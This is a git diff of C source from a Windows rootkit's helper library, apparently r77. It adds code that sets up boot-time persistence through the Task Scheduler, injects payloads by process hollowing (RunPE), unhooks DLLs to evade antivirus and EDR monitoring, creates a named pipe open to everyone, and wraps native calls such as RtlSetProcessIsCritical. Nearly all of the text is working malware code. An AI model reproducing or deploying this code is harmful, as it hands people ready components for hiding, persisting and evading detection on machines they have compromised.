+ if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE)) &&
+ SUCCEEDED(settings->lpVtbl->put_DisallowStartIfOnBatteries(settings, VARIANT_FALSE)))
+ {
+ ITriggerCollection *triggerCollection = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection)))
+ {
+ ITrigger *trigger = NULL;
+ if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger)))
+ {
+ IBootTrigger *bootTrigger = NULL;
+ if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger)))
+ {
+ IActionCollection *actionCollection = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection)))
+ {
+ IAction *action = NULL;
+ if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action)))
+ {
+ IExecAction *execAction = NULL;
+ if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction)))
+ {
+ if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) &&
+ SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) &&
+ SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr)))
+ {
+ VARIANT password;
+ VariantInit(&password);
+
+ VARIANT userId;
+ VariantInit(&userId);
+ userId.vt = VT_BSTR;
+ userId.bstrVal = userIdBstr;
+
+ VARIANT sddl;
+ VariantInit(&sddl);
+
+ IRegisteredTask *registeredTask = NULL;
+ HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask);
+ if (SUCCEEDED(hr))
+ {
+ result = TRUE;
+
+ registeredTask->lpVtbl->Release(registeredTask);
+ }
+ }
+
+ execAction->lpVtbl->Release(execAction);
+ }
+
+ action->lpVtbl->Release(action);
+ }
+
+ actionCollection->lpVtbl->Release(actionCollection);
+ }
+
+ bootTrigger->lpVtbl->Release(bootTrigger);
+ }
+
+ trigger->lpVtbl->Release(trigger);
+ }
+
+ triggerCollection->lpVtbl->Release(triggerCollection);
+ }
+ }
+
+ settings->lpVtbl->Release(settings);
+ }
+
+ task->lpVtbl->Release(task);
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(directoryBstr);
+ SysFreeString(fileNameBstr);
+ SysFreeString(argumentsBstr);
+ SysFreeString(folderPathBstr);
+ SysFreeString(userIdBstr);
+
+ return result;
+}
+BOOL RunScheduledTask(LPCWSTR name)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ IRegisteredTask *task = NULL;
+ if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task)))
+ {
+ VARIANT params;
+ VariantInit(¶ms);
+
+ IRunningTask *runningTask = NULL;
+ if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask)))
+ {
+ result = TRUE;
+
+ runningTask->lpVtbl->Release(runningTask);
+ }
+
+ task->lpVtbl->Release(task);
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(folderPathBstr);
+
+ return result;
+}
+BOOL DeleteScheduledTask(LPCWSTR name)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0)))
+ {
+ result = TRUE;
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(folderPathBstr);
+
+ return result;
+}
+HANDLE CreatePublicNamedPipe(LPCWSTR name)
+{
+ // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes.
+
+ SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY;
+ PSID everyoneSid;
+ if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE;
+
+ EXPLICIT_ACCESSW explicitAccess;
+ i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW));
+ explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
+ explicitAccess.grfAccessMode = SET_ACCESS;
+ explicitAccess.grfInheritance = NO_INHERITANCE;
+ explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
+ explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+ explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
+
+ PACL acl;
+ if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE;
+
+ PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
+ if (!securityDescriptor ||
+ !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) ||
+ !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE;
+
+ SECURITY_ATTRIBUTES securityAttributes;
+ securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
+ securityAttributes.lpSecurityDescriptor = securityDescriptor;
+ securityAttributes.bInheritHandle = FALSE;
+
+ return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
+}
+
+BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
+{
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+
+ if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
+ {
+ switch (ntHeaders->OptionalHeader.Magic)
+ {
+ case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
+ *is64Bit = FALSE;
+ return TRUE;
+ case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
+ *is64Bit = TRUE;
+ return TRUE;
+ }
+ }
+
+ return FALSE;
+}
+BOOL RunPE(LPCWSTR path, LPBYTE payload)
+{
+ BOOL isPayload64Bit;
+ if (IsExecutable64Bit(payload, &isPayload64Bit))
+ {
+ if (isPayload64Bit && BITNESS(32))
+ {
+ // Cannot inject 64-bit payload from 32-bit process.
+ return FALSE;
+ }
+
+ if (!isPayload64Bit && BITNESS(64) && !IsAtLeastWindows10())
+ {
+ // Wow64 RunPE requires at least Windows 10.
+ //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
+ return FALSE;
+ }
+ }
+ else
+ {
+ return FALSE;
+ }
+
+ // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
+ // This is a workaround to the well known stability issue of process hollowing.
+ for (DWORD i = 0; i < 5; i++)
+ {
+ STARTUPINFOW startupInfo;
+ PROCESS_INFORMATION processInformation;
+ i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
+ i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
+ startupInfo.cb = sizeof(startupInfo);
+
+ if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
+ {
+ if (isPayload64Bit == BITNESS(64))
+ {
+ // Payload bitness matches current process bitness
+
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
+ R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase);
+
+ LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
+ {
+ DWORD oldProtect;
+ if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
+ {
+ BOOL sectionsWritten = TRUE;
+ PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
+ for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
+ {
+ if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
+ {
+ sectionsWritten = FALSE;
+ break;
+ }
+
+ if (!VirtualProtectEx(
+ processInformation.hProcess,
+ (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
+ j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
+ SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
+ &oldProtect))
+ {
+ sectionsWritten = FALSE;
+ break;
+ }
+ }
+
+ if (sectionsWritten)
+ {
+ LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
+ if (context)
+ {
+ context->ContextFlags = CONTEXT_FULL;
+
+ if (GetThreadContext(processInformation.hThread, context))
+ {
+#ifdef _WIN64
+ if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL))
+ {
+ context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
+ if (SetThreadContext(processInformation.hThread, context) &&
+ ResumeThread(processInformation.hThread) != -1)
+ {
+ return TRUE;
+ }
+ }
+#else
+ if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
+ {
+ context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
+ if (SetThreadContext(processInformation.hThread, context) &&
+ ResumeThread(processInformation.hThread) != -1)
+ {
+ return TRUE;
+ }
+ }
+#endif
+ }
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ // Spawn 32-bit process from this 64-bit process.
+
+ PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
+ R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase);
+
+ LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
+ {
+ DWORD oldProtect;
+ if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
+ {
+ BOOL sectionsWritten = TRUE;
+ PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
+ for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
+ {
+ if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
+ {
+ sectionsWritten = FALSE;
+ break;
+ }
+
+ if (!VirtualProtectEx(
+ processInformation.hProcess,
+ (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
+ j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
+ SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
+ &oldProtect))
+ {
+ sectionsWritten = FALSE;
+ break;
+ }
+ }
+
+ if (sectionsWritten)
+ {
+ PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE);
+ if (context)
+ {
+ context->ContextFlags = WOW64_CONTEXT_FULL;
+
+ if (Wow64GetThreadContext(processInformation.hThread, context))
+ {
+ if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
+ {
+ context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
+ if (Wow64SetThreadContext(processInformation.hThread, context) &&
+ ResumeThread(processInformation.hThread) != -1)
+ {
+ return TRUE;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (processInformation.dwProcessId != 0)
+ {
+ HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processInformation.dwProcessId);
+ if (process)
+ {
+ TerminateProcess(process, 0);
+ }
+ }
+ }
+
+ return FALSE;
+}
+DWORD SectionCharacteristicsToProtection(DWORD characteristics)
+{
+ if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
+ {
+ return PAGE_EXECUTE_READWRITE;
+ }
+ else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ))
+ {
+ return PAGE_EXECUTE_READ;
+ }
+ else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_WRITE))
+ {
+ return PAGE_EXECUTE_WRITECOPY;
+ }
+ else if ((characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
+ {
+ return PAGE_READWRITE;
+ }
+ else if (characteristics & IMAGE_SCN_MEM_EXECUTE)
+ {
+ return PAGE_EXECUTE;
+ }
+ else if (characteristics & IMAGE_SCN_MEM_READ)
+ {
+ return PAGE_READONLY;
+ }
+ else if (characteristics & IMAGE_SCN_MEM_WRITE)
+ {
+ return PAGE_WRITECOPY;
+ }
+ else
+ {
+ return PAGE_NOACCESS;
+ }
+}
+DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
+{
+ BOOL is64Bit;
+ if (IsExecutable64Bit(image, &is64Bit))
+ {
+ PIMAGE_EXPORT_DIRECTORY exportDirectory;
+ if (is64Bit)
+ {
+ PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+ exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
+ }
+ else
+ {
+ PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+ exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
+ }
+
+ LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames));
+ LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals));
+
+ for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
+ {
+ if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName))
+ {
+ return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD)));
+ }
+
+ nameDirectory++;
+ nameOrdinalDirectory++;
+ }
+ }
+
+ return 0;
+}
+DWORD RvaToOffset(LPBYTE image, DWORD rva)
+{
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+ PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
+
+ if (rva < sections[0].PointerToRawData)
+ {
+ return rva;
+ }
+ else
+ {
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData)
+ {
+ return rva - sections[i].VirtualAddress + sections[i].PointerToRawData;
+ }
+ }
+
+ return 0;
+ }
+}
+VOID UnhookDll(LPCWSTR name)
+{
+ if (name)
+ {
+ WCHAR path[MAX_PATH + 1];
+ if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\");
+ else StrCpyW(path, L"C:\\Windows\\System32\\");
+
+ StrCatW(path, name);
+
+ // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions.
+ HMODULE dll = GetModuleHandleW(name);
+ if (dll)
+ {
+ MODULEINFO moduleInfo;
+ i_memset(&moduleInfo, 0, sizeof(MODULEINFO));
+
+ if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO)))
+ {
+ // Retrieve a clean copy of the DLL file.
+ HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+ if (dllFile != INVALID_HANDLE_VALUE)
+ {
+ // Map the clean DLL into memory
+ HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
+ if (dllMapping)
+ {
+ LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
+ if (dllMappedFile)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
+
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
+
+ // Find the .text section of the hooked DLL and overwrite it with the original DLL section
+ if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
+ {
+ LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
+ DWORD virtualSize = sectionHeader->Misc.VirtualSize;
+
+ DWORD oldProtect;
+ VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
+ i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
+ VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
+
+ break;
+ }
+ }
+ }
+
+ CloseHandle(dllMapping);
+ }
+
+ CloseHandle(dllFile);
+ }
+ }
+
+ FreeLibrary(dll);
+ }
+ }
+}
+
+NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
+{
+ // NtQueryObject must be called by using GetProcAddress on Windows 7.
+ return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength);
+}
+NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer)
+{
+ // Use NtCreateThreadEx instead of CreateRemoteThread.
+ // CreateRemoteThread does not work across sessions in Windows 7.
+ return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
+}
+NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress)
+{
+ return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress);
+}
+NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation)
+{
+ return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation);
+}
+NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
+{
+ return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
+}
+NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
+{
+ return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
+}
+PDH_STATUS WINAPI R77_PdhGetCounterInfoW(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer)
+{
+ return ((NT_PDHGETCOUNTERINFOW)GetFunction("pdh.dll", "PdhGetCounterInfoW"))(counter, retrieveExplainText, bufferSize, buffer);
}
\ No newline at end of file
diff --git a/r77api/r77win.h b/r77api/r77win.h
index b9d7d99..2d04478 100644
--- a/r77api/r77win.h
+++ b/r77api/r77win.h
@@ -1,312 +1,314 @@
-#include "r77mindef.h"
-#ifndef _R77WIN_H
-#define _R77WIN_H
-
-///
-/// Writes random bytes to the buffer.
-///
-/// A buffer to write the random data to.
-/// The size in bytes of random data to write.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetRandomBytes(LPVOID buffer, DWORD size);
-///
-/// Generates a random alphanumeric string.
-///
-/// A buffer of unicode characters to write the string to.
-/// The number of characters to write.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetRandomString(PWCHAR str, DWORD length);
-///
-/// Converts a LPCWSTR into a null terminated LPCSTR.
-///
-/// The LPCWSTR to convert.
-///
-/// A newly allocated LPCSTR with the converted LPCWSTR.
-///
-LPCSTR ConvertStringToAString(LPCWSTR str);
-///
-/// Converts a UNICODE_STRING into a null terminated LPWSTR.
-///
-/// The UNICODE_STRING to convert.
-///
-/// A newly allocated LPWSTR with the converted UNICODE_STRING.
-///
-LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str);
-///
-/// Converts a 32-bit integer value to a string.
-///
-/// The value to convert.
-/// A buffer of unicode characters to write the result to.
-VOID Int32ToStrW(LONG value, PWCHAR buffer);
-
-///
-/// Determines whether the operating system is a 64-bit operating system.
-///
-///
-/// TRUE, if the operating system is a 64-bit operating system;
-/// otherwise, FALSE.
-///
-BOOL Is64BitOperatingSystem();
-///
-/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file.
-///
-///
-/// TRUE, if Windows 10 or above is installed;
-/// otherwise, FALSE.
-///
-BOOL IsAtLeastWindows10();
-///
-/// Determines whether a process is a 64-bit process.
-///
-/// The process ID to check.
-/// A pointer to a BOOL value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit);
-///
-/// Retrieves a function from a DLL specified by a name.
-///
-/// The name of the DLL to retrieve the function from.
-/// The name of the function to retrieve.
-///
-/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name.
-///
-LPVOID GetFunction(LPCSTR dll, LPCSTR function);
-///
-/// Gets the integrity level of a process.
-///
-/// The process ID to check.
-/// A pointer to a DWORD value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel);
-///
-/// Gets the filename of a process.
-///
-/// The process ID to retrieve the filename from.
-/// A buffer to write the filename to.
-/// The length of the fileName buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
-///
-/// Gets the full path of a process.
-///
-/// The process ID to retrieve the full path from.
-/// A buffer to write full path to.
-/// The length of the fileName buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
-///
-/// Gets the username of a process.
-///
-/// The handle to the process to check.
-/// A buffer of unicode characters to write the result to.
-/// The length of the result buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength);
-///
-/// Obtains the SeDebugPrivilege.
-///
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL EnabledDebugPrivilege();
-///
-/// Gets an executable resource.
-///
-/// The identifier of the resource.
-/// The type identifier of the resource.
-/// A pointer that is set to a newly allocated buffer with the resource data.
-/// A pointer to a DWORD value to write the size of the returned buffer to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size);
-///
-/// Retrieves the full path from a file handle.
-///
-/// A file handle to retrieve the path from.
-/// A buffer to write the path to.
-/// The length of the fileName buffer.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength);
-///
-/// Reads the contents of a file.
-///
-/// The path to the file to read.
-/// A pointer that is set to a newly allocated buffer with the file contents.
-/// A pointer to a DWORD value to write the size of the returned buffer to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size);
-///
-/// Reads a null terminated LPCWSTR from the specified file.
-///
-/// A file handle to read the string from.
-/// The buffer to write the string to.
-/// The length of the string buffer.
-///
-/// TRUE, if this function succeeds;
-/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator.
-///
-BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length);
-///
-/// Writes a buffer to a file.
-///
-/// The path to the file to create.
